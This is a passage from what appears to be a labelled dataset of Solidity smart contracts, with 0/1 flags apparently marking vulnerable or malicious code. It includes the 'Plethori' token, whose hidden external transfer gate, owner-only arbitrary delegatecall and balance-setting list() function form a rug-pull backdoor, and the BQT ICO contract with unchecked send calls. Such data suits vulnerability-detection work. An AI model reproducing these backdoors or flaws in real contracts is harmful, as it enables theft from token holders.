if(lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp) {
balance = balance.add(lockedBalances[account][tokenAddr][i].balance);
}
}
return balance;
}
function getNextReleaseTimeOf (address account, address tokenAddr)
external
view
returns (uint256)
{
require(account != address(0x0));
uint256 nextRelease = 2**256 - 1;
for (uint256 i = 0; i < lockedBalances[account][tokenAddr].length; i++) {
if (lockedBalances[account][tokenAddr][i].releaseTime > block.timestamp &&
lockedBalances[account][tokenAddr][i].releaseTime < nextRelease) {
nextRelease = lockedBalances[account][tokenAddr][i].releaseTime;
}
}
if (nextRelease == 2**256 - 1) {
nextRelease = 0;
}
return nextRelease;
}
} | 0 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns(uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns(uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns(uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
require(b != 0);
return a % b;
}
}
library ExtendedMath {
function limitLessThan(uint a, uint b) internal pure returns(uint c) {
if (a > b) return b;
return a;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract InterfaceContracts is Ownable {
InterfaceContracts public _internalMod;
function setModifierContract (address _t) onlyOwner public {
_internalMod = InterfaceContracts(_t);
}
modifier onlyMiningContract() {
require(msg.sender == _internalMod._contract_miner(), "Wrong sender");
_;
}
modifier onlyTokenContract() {
require(msg.sender == _internalMod._contract_token(), "Wrong sender");
_;
}
modifier onlyMasternodeContract() {
require(msg.sender == _internalMod._contract_masternode(), "Wrong sender");
_;
}
modifier onlyVotingOrOwner() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
modifier onlyVotingContract() {
require(msg.sender == _internalMod._contract_voting() || msg.sender == owner, "Wrong sender");
_;
}
function _contract_voting () public view returns (address) {
return _internalMod._contract_voting();
}
function _contract_masternode () public view returns (address) {
return _internalMod._contract_masternode();
}
function _contract_token () public view returns (address) {
return _internalMod._contract_token();
}
function _contract_miner () public view returns (address) {
return _internalMod._contract_miner();
}
}
interface ICaelumMasternode {
function _externalArrangeFlow() external;
function rewardsProofOfWork() external returns (uint) ;
function rewardsMasternode() external returns (uint) ;
function masternodeIDcounter() external returns (uint) ;
function masternodeCandidate() external returns (uint) ;
function getUserFromID(uint) external view returns (address) ;
function contractProgress() external view returns (uint, uint, uint, uint, uint, uint, uint, uint);
}
interface ICaelumToken {
function rewardExternal(address, uint) external;
function balanceOf(address) external view returns (uint);
}
interface EIP918Interface {
function mint(uint256 nonce, bytes32 challenge_digest) external returns (bool success);
function getChallengeNumber() external view returns (bytes32);
function getMiningDifficulty() external view returns (uint);
function getMiningTarget() external view returns (uint);
function getMiningReward() external view returns (uint);
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
}
contract AbstractERC918 is EIP918Interface {
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
struct Statistics {
address lastRewardTo;
uint lastRewardAmount;
uint lastRewardEthBlockNumber;
uint lastRewardTimestamp;
}
Statistics public statistics;
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns (bytes32 digest);
function _reward() internal returns (uint);
function _newEpoch(uint256 nonce) internal returns (uint);
function _adjustDifficulty() internal returns (uint);
}
contract CaelumAbstractMiner is InterfaceContracts, AbstractERC918 {
using SafeMath for uint;
using ExtendedMath for uint;
uint256 public totalSupply = 2100000000000000;
uint public latestDifficultyPeriodStarted;
uint public epochCount;
uint public baseMiningReward = 50;
uint public blocksPerReadjustment = 512;
uint public _MINIMUM_TARGET = 2 ** 16;
uint public _MAXIMUM_TARGET = 2 ** 234;
uint public rewardEra = 0;
uint public maxSupplyForEra;
uint public MAX_REWARD_ERA = 39;
uint public MINING_RATE_FACTOR = 60;
uint public MAX_ADJUSTMENT_PERCENT = 100;
uint public TARGET_DIVISOR = 2000;
uint public QUOTIENT_LIMIT = TARGET_DIVISOR.div(2);
mapping(bytes32 => bytes32) solutionForChallenge;
mapping(address => mapping(address => uint)) allowed;
bytes32 public challengeNumber;
uint public difficulty;
uint public tokensMinted;
Statistics public statistics;
event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber);
event RewardMasternode(address candidate, uint amount);
constructor() public {
tokensMinted = 0;
maxSupplyForEra = totalSupply.div(2);
difficulty = _MAXIMUM_TARGET;
latestDifficultyPeriodStarted = block.number;
_newEpoch(0);
}
function _newEpoch(uint256 nonce) internal returns(uint) {
if (tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < MAX_REWARD_ERA) {
rewardEra = rewardEra + 1;
}
maxSupplyForEra = totalSupply - totalSupply.div(2 ** (rewardEra + 1));
epochCount = epochCount.add(1);
challengeNumber = blockhash(block.number - 1);
return (epochCount);
}
function mint(uint256 nonce, bytes32 challenge_digest) public returns(bool success);
function _hash(uint256 nonce, bytes32 challenge_digest) internal returns(bytes32 digest) {
digest = keccak256(challengeNumber, msg.sender, nonce);
if (digest != challenge_digest) revert();
if (uint256(digest) > difficulty) revert();
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if (solution != 0x0) revert();
}
function _reward() internal returns(uint);
function _reward_masternode() internal returns(uint);
function _adjustDifficulty() internal returns(uint) {
if (epochCount % blocksPerReadjustment != 0) {
return difficulty;
}
uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted;
uint epochsMined = blocksPerReadjustment;
uint targetEthBlocksPerDiffPeriod = epochsMined * MINING_RATE_FACTOR;
if (ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod) {
uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(ethBlocksSinceLastDifficultyPeriod);
uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.sub(difficulty.div(TARGET_DIVISOR).mul(excess_block_pct_extra));
} else {
uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(MAX_ADJUSTMENT_PERCENT)).div(targetEthBlocksPerDiffPeriod);
uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(QUOTIENT_LIMIT);
difficulty = difficulty.add(difficulty.div(TARGET_DIVISOR).mul(shortage_block_pct_extra));
}
latestDifficultyPeriodStarted = block.number;
if (difficulty < _MINIMUM_TARGET)
{
difficulty = _MINIMUM_TARGET;
}
if (difficulty > _MAXIMUM_TARGET)
{
difficulty = _MAXIMUM_TARGET;
}
}
function getChallengeNumber() public view returns(bytes32) {
return challengeNumber;
}
function getMiningDifficulty() public view returns(uint) {
return _MAXIMUM_TARGET.div(difficulty);
}
function getMiningTarget() public view returns(uint) {
return difficulty;
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function getMintDigest(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number
)
public view returns(bytes32 digesttest) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
return digest;
}
function checkMintSolution(
uint256 nonce,
bytes32 challenge_digest,
bytes32 challenge_number,
uint testTarget
)
public view returns(bool success) {
bytes32 digest = keccak256(challenge_number, msg.sender, nonce);
if (uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
}
contract CaelumMiner is CaelumAbstractMiner {
ICaelumToken public tokenInterface;
ICaelumMasternode public masternodeInterface;
bool public ACTIVE_STATE = false;
uint swapStartedBlock = now;
uint public gasPriceLimit = 999;
modifier checkGasPrice(uint txnGasPrice) {
require(txnGasPrice <= gasPriceLimit * 1000000000, "Gas above gwei limit!");
_;
}
event GasPriceSet(uint8 _gasPrice);
function setGasPriceLimit(uint8 _gasPrice) onlyOwner public {
require(_gasPrice > 0);
gasPriceLimit = _gasPrice;
emit GasPriceSet(_gasPrice);
}
function setTokenContract() internal {
tokenInterface = ICaelumToken(_contract_token());
}
function setMasternodeContract() internal {
masternodeInterface = ICaelumMasternode(_contract_masternode());
}
function setModifierContract (address _contract) onlyOwner public {
require (now <= swapStartedBlock + 10 days);
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function VoteModifierContract (address _contract) onlyVotingContract external {
_internalMod = InterfaceContracts(_contract);
setMasternodeContract();
setTokenContract();
}
function mint(uint256 nonce, bytes32 challenge_digest) checkGasPrice(tx.gasprice) public returns(bool success) {
require(ACTIVE_STATE);
_hash(nonce, challenge_digest);
masternodeInterface._externalArrangeFlow();
uint rewardAmount = _reward();
uint rewardMasternode = _reward_masternode();
tokensMinted += rewardAmount.add(rewardMasternode);
uint epochCounter = _newEpoch(nonce);
_adjustDifficulty();
statistics = Statistics(msg.sender, rewardAmount, block.number, now);
emit Mint(msg.sender, rewardAmount, epochCounter, challengeNumber);
return true;
}
function _reward() internal returns(uint) {
uint _pow = masternodeInterface.rewardsProofOfWork();
tokenInterface.rewardExternal(msg.sender, _pow);
return _pow;
}
function _reward_masternode() internal returns(uint) {
uint _mnReward = masternodeInterface.rewardsMasternode();
if (masternodeInterface.masternodeIDcounter() == 0) return 0;
address _mnCandidate = masternodeInterface.getUserFromID(masternodeInterface.masternodeCandidate());
if (_mnCandidate == 0x0) return 0;
tokenInterface.rewardExternal(_mnCandidate, _mnReward);
emit RewardMasternode(_mnCandidate, _mnReward);
return _mnReward;
}
function getMiningRewardForPool() public view returns(uint) {
return masternodeInterface.rewardsProofOfWork();
}
function getMiningReward() public view returns(uint) {
return (baseMiningReward * 1e8).div(2 ** rewardEra);
}
function contractProgress() public view returns
(
uint epoch,
uint candidate,
uint round,
uint miningepoch,
uint globalreward,
uint powreward,
uint masternodereward,
uint usercounter
) {
return ICaelumMasternode(_contract_masternode()).contractProgress();
}
function getDataFromContract(address _previous_contract) onlyOwner public {
require(ACTIVE_STATE == false);
require(_contract_token() != 0);
require(_contract_masternode() != 0);
CaelumAbstractMiner prev = CaelumAbstractMiner(_previous_contract);
difficulty = prev.difficulty();
rewardEra = prev.rewardEra();
MINING_RATE_FACTOR = prev.MINING_RATE_FACTOR();
maxSupplyForEra = prev.maxSupplyForEra();
tokensMinted = prev.tokensMinted();
epochCount = prev.epochCount();
ACTIVE_STATE = true;
}
function balanceOf(address _owner) public view returns(uint256) {
return tokenInterface.balanceOf(_owner);
}
} | 0 |
pragma solidity ^0.4.0;
contract countGame {
address public best_gamer;
uint public count = 0;
uint public endTime = 1504969200;
function fund() payable {
require(now <= endTime);
}
function (){
require(now<=endTime && count<50);
best_gamer = msg.sender;
count++;
}
function endGame(){
require(now>endTime || count == 50);
best_gamer.transfer(this.balance);
}
} | 1 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address internal protectionFromBots;
address public uniPair;
constructor(address _botProtection) {
protectionFromBots = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = protectionFromBots.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Plethori is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Plethori";
string public symbol = "PLE";
IUniswapV2Router02 public routerForPancake = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wrappedEther = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = tx.origin;
uniPair = pairOfTokens(wrappedEther, address(this));
allowance[address(this)][address(routerForPancake)] = uint(-1);
allowance[tx.origin][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairOfTokens(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
routerForPancake.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
protectionFromBots.call(abi.encodeWithSelector(0xd5eaf4c3, _tos));
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract ERC20Interface {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Bqt_Token is ERC20Interface {
string public constant symbol = "BQT";
string public constant name = "BQT token";
uint8 public constant decimals = 18;
uint256 public constant maxTokens = 200*10**6*10**18;
uint256 public constant ownerSupply = maxTokens*51/100;
uint256 _totalSupply = ownerSupply;
uint256 public constant token_price = 10**18*1/250;
uint256 public pre_ico_start = 1506729600;
uint256 public ico_start = 1512691200;
uint256 public ico_finish = 1518134400;
uint public constant minValuePre = 10**18*1/1000000;
uint public constant minValue = 10**18*1/1000000;
uint public constant maxValue = 3000*10**18;
uint8 public constant exchange_coefficient = 102;
using SafeMath for uint;
address public owner;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) public orders_sell_amount;
mapping(address => uint256) public orders_sell_price;
address[] public orders_sell_list;
event Order_sell(address indexed _owner, uint256 _max_amount, uint256 _price);
event Order_execute(address indexed _from, address indexed _to, uint256 _amount, uint256 _price);
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function Bqt_Token() {
owner = 0x2eee6534bfa5512ded7f700d8d26e88c1688c854;
balances[owner] = ownerSupply;
}
function() payable {
tokens_buy();
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
function withdraw(uint256 _amount) onlyOwner returns (bool result) {
uint256 balance;
balance = this.balance;
if(_amount > 0) balance = _amount;
owner.send(balance);
return true;
}
function change_ico_start(uint256 _ico_start) onlyOwner returns (bool result) {
ico_start = _ico_start;
return true;
}
function change_ico_finish(uint256 _ico_finish) onlyOwner returns (bool result) {
ico_finish = _ico_finish;
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint256 _amount) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function tokens_buy() payable returns (bool) {
uint256 tnow = now;
if(tnow > ico_finish) throw;
if(_totalSupply >= maxTokens) throw;
if(!(msg.value >= token_price)) throw;
if(!(msg.value >= minValue)) throw;
if(msg.value > maxValue) throw;
uint tokens_buy = (msg.value*10**18).div(token_price);
uint tokens_buy_total;
if(!(tokens_buy > 0)) throw;
uint b1 = 0;
uint b2 = 0;
uint b3 = 0;
if(_totalSupply <= 5*10**6*10**18) {
b1 = tokens_buy*30/100;
}
if((5*10**6*10**18 < _totalSupply)&&(_totalSupply <= 10*10**6*10**18)) {
b1 = tokens_buy*25/100;
}
if((10*10**6*10**18 < _totalSupply)&&(_totalSupply <= 15*10**6*10**18)) {
b1 = tokens_buy*20/100;
}
if((15*10**6*10**18 < _totalSupply)&&(_totalSupply <= 20*10**6*10**18)) {
b1 = tokens_buy*15/100;
}
if((20*10**6*10**18 < _totalSupply)&&(_totalSupply <= 25*10**6*10**18)) {
b1 = tokens_buy*10/100;
}
if(25*10**6*10**18 <= _totalSupply) {
b1 = tokens_buy*5/100;
}
if(tnow < ico_start) {
b2 = tokens_buy*50/100;
}
if((ico_start + 86400*0 <= tnow)&&(tnow < ico_start + 86400*5)){
b2 = tokens_buy*10/100;
}
if((ico_start + 86400*5 <= tnow)&&(tnow < ico_start + 86400*10)){
b2 = tokens_buy*8/100;
}
if((ico_start + 86400*10 <= tnow)&&(tnow < ico_start + 86400*20)){
b2 = tokens_buy*6/100;
}
if((ico_start + 86400*20 <= tnow)&&(tnow < ico_start + 86400*30)){
b2 = tokens_buy*4/100;
}
if(ico_start + 86400*30 <= tnow){
b2 = tokens_buy*2/100;
}
if((1000*10**18 <= tokens_buy)&&(5000*10**18 <= tokens_buy)) {
b3 = tokens_buy*5/100;
}
if((5001*10**18 <= tokens_buy)&&(10000*10**18 < tokens_buy)) {
b3 = tokens_buy*10/100;
}
if((10001*10**18 <= tokens_buy)&&(15000*10**18 < tokens_buy)) {
b3 = tokens_buy*15/100;
}
if((15001*10**18 <= tokens_buy)&&(20000*10**18 < tokens_buy)) {
b3 = tokens_buy*20/100;
}
if(20001*10**18 <= tokens_buy) {
b3 = tokens_buy*25/100;
}
tokens_buy_total = tokens_buy.add(b1);
tokens_buy_total = tokens_buy_total.add(b2);
tokens_buy_total = tokens_buy_total.add(b3);
if(_totalSupply.add(tokens_buy_total) > maxTokens) throw;
_totalSupply = _totalSupply.add(tokens_buy_total);
balances[msg.sender] = balances[msg.sender].add(tokens_buy_total);
return true;
}
function orders_sell_total () constant returns (uint256) {
return orders_sell_list.length;
}
function get_orders_sell_amount(address _from) constant returns(uint) {
uint _amount_max = 0;
if(!(orders_sell_amount[_from] > 0)) return _amount_max;
if(balanceOf(_from) > 0) _amount_max = balanceOf(_from);
if(orders_sell_amount[_from] < _amount_max) _amount_max = orders_sell_amount[_from];
return _amount_max;
}
function order_sell(uint256 _max_amount, uint256 _price) returns (bool) {
if(!(_max_amount > 0)) throw;
if(!(_price > 0)) throw;
orders_sell_amount[msg.sender] = _max_amount;
orders_sell_price[msg.sender] = (_price*exchange_coefficient).div(100);
orders_sell_list.push(msg.sender);
Order_sell(msg.sender, _max_amount, orders_sell_price[msg.sender]);
return true;
}
function order_buy(address _from, uint256 _max_price) payable returns (bool) {
if(!(msg.value > 0)) throw;
if(!(_max_price > 0)) throw;
if(!(orders_sell_amount[_from] > 0)) throw;
if(!(orders_sell_price[_from] > 0)) throw;
if(orders_sell_price[_from] > _max_price) throw;
uint _amount = (msg.value*10**18).div(orders_sell_price[_from]);
uint _amount_from = get_orders_sell_amount(_from);
if(_amount > _amount_from) _amount = _amount_from;
if(!(_amount > 0)) throw;
uint _total_money = (orders_sell_price[_from]*_amount).div(10**18);
if(_total_money > msg.value) throw;
uint _seller_money = (_total_money*100).div(exchange_coefficient);
uint _buyer_money = msg.value - _total_money;
if(_seller_money > msg.value) throw;
if(_seller_money + _buyer_money > msg.value) throw;
if(_seller_money > 0) _from.send(_seller_money);
if(_buyer_money > 0) msg.sender.send(_buyer_money);
orders_sell_amount[_from] -= _amount;
balances[_from] -= _amount;
balances[msg.sender] += _amount;
Order_execute(_from, msg.sender, _amount, orders_sell_price[_from]);
}
} | 1 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30326400;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x3FFd8c5a48de67A6B9A40fCa3EeA7944E6317031;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract FeniXCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "FEX";
name = "FeniXCoin";
decimals = 18;
_totalSupply = 15000000000000000000000000;
balances[0xabc4B357D7419cfD3747DC1338e9e6308612D87c] = _totalSupply;
emit Transfer(address(0), 0xabc4B357D7419cfD3747DC1338e9e6308612D87c, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
